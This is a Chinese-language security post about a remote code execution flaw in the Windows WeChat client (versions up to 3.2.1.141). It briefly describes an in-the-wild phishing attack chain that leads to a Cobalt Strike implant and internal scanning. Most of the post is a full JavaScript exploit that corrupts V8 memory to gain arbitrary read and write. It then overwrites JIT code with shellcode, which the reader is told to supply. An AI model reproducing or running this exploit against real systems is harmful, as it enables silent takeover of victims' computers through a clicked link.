微信客户端远程命令执行漏洞

# 微信客户端远程命令执行漏洞

微信客户端存在远程命令执行漏洞。目前已经发现在野利用，受害者点击链接就会中招，微信Windows PC版进程webchatweb.exe会加载shellcode执行，整个过程无文件落地，无新进程产生，攻击者可以直接获取目标机器权限。

影响版本：

微信Windows版 <=3.2.1.141 安恒信息应急响应中心分析的攻击链： > 1、 攻击者利用微信（PC版）0day构造恶意的钓鱼链接，通过微信将钓鱼链接发送给目标员工。

> 2、 当员工打开攻击者的钓鱼链接时触发该漏洞，从而导致目标员工PC被植入攻击者制作的cobalstrike木马，木马进程为：xxxsoft.exe，同时创建了名为dotnet_v4.3的系统服务。

> 3、 随后，攻击者进一步在c:\\ProgramData\目录下放置TxPortMap.exe 扫描工具并利用该工具扫描目标单位内网。

参考：https://mp.weixin.qq.com/s/OfPNr-l_9kzl1MdE7DSHHQ

bugfor的这篇文章也挺详细的：https://www.bugfor.com/vuls/vulnerability/6962.html

exploit.js：

“`js
ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [#shellcode];//shellcode替换成自己的 注意是x86的

function print(data) {
}

var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) { target_function(i); } var g_array; var tDerivedNCount = 17 * 87481 - 8; var tDerivedNDepth = 19 * 19; function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f'; } function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); } } function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null; this.page_buffer = null; this.page_view = null; this.prevent_opt = []; var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf; class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } } this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer); new RegExp({ toString: function () { return 'a' } }); cb(true); class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. ); // this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } } // try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; } class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } } return DerivedN; })`); gc(); new (derived_n(tDerivedNDepth))(); this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); } this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); } this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); } this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); } this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); } this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this; } function trigger() { var oob = oobAccess(); var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16)); var kCodeInsOffset = 0x1b; var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16)); oob.setBytes(code_addr, shellcode); target_function(0); } try{ print("start running"); trigger(); }catch(e){ print(e); } ``` ref： * https://mp.weixin.qq.com/s/TC9EDiiZnxGeyM7BP9wZYQ * https://forum.ywhack.com/thread-115490-1-5.html